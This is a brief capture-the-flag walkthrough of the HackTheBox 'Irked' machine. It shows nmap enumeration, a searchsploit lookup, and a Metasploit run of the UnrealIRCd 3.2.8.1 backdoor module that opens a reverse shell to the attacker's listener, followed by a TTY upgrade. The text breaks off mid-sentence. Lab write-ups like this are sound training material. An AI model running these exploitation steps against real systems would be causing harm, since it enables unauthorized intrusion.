> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/easy-boxes/irked.md). # Irked very short walktrough. identify an os by ttl. ```bash ─$ ping -c 1 10.10.10.117 PING 10.10.10.117 (10.10.10.117) 56(84) bytes of data. 64 bytes from 10.10.10.117: icmp_seq=1 ttl=63 time=60.9 ms --- 10.10.10.117 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 60.945/60.945/60.945/0.000 ms ``` looks like linux... lets start scanning a target. ```bash └─$ sudo nmap -p- -sC -sV 10.10.10.117 -T5 -oN scan/nmap [sudo] password for musorblyat: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 22:22 +03 Warning: 10.10.10.117 giving up on port because retransmission cap hit (2). Stats: 0:03:18 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 53.91% done; ETC: 22:28 (0:02:48 remaining) Stats: 0:04:05 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 66.76% done; ETC: 22:28 (0:02:02 remaining) Nmap scan report for 10.10.10.117 Host is up (0.18s latency). Not shown: 65528 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) | ssh-hostkey: | 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA) | 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA) | 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA) |_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519) 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.10 (Debian) 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 40597/tcp6 status | 100024 1 40776/udp6 status | 100024 1 49802/tcp status |_ 100024 1 60280/udp status 6697/tcp open irc UnrealIRCd 8067/tcp open irc UnrealIRCd 49802/tcp open status 1 (RPC #100024) 65534/tcp open irc UnrealIRCd Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 395.29 seconds ``` interesting services... http looks like empty.

mad face lol

enumerating other services, looks like "65534/tcp open irc UnrealIRCd" is vulnerable. ```bash └─$ searchsploit UnrealIRCd ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------- UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl UnrealIRCd 3.x - Remote Denial of Service | windows/dos/27407.pl ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Shellcodes: No Results ``` STARTING UP A METASPLOIT! ```bash msfconsole -q ``` find and set up a options for exploit. after that execute it. ```bash msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run [*] Started reverse TCP double handler on 10.10.16.8:4444 [*] 10.10.10.117:65534 - Connected to 10.10.10.117:65534... :irked.htb NOTICE AUTH :*** Looking up your hostname... [*] 10.10.10.117:65534 - Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo WF2b0uImVV1YOfTT; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "WF2b0uImVV1YOfTT\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (10.10.16.8:4444 -> 10.10.10.117:55227) at 2024-01-23 23:08:49 +0300 ``` interesting... we got a shell! upgrading to TTY shell. ```bash python -c 'import pty;pty.spawn("/bin/bash")' ctrl + z stty raw -echo | fg export TERM=xterm ``` searching up a files,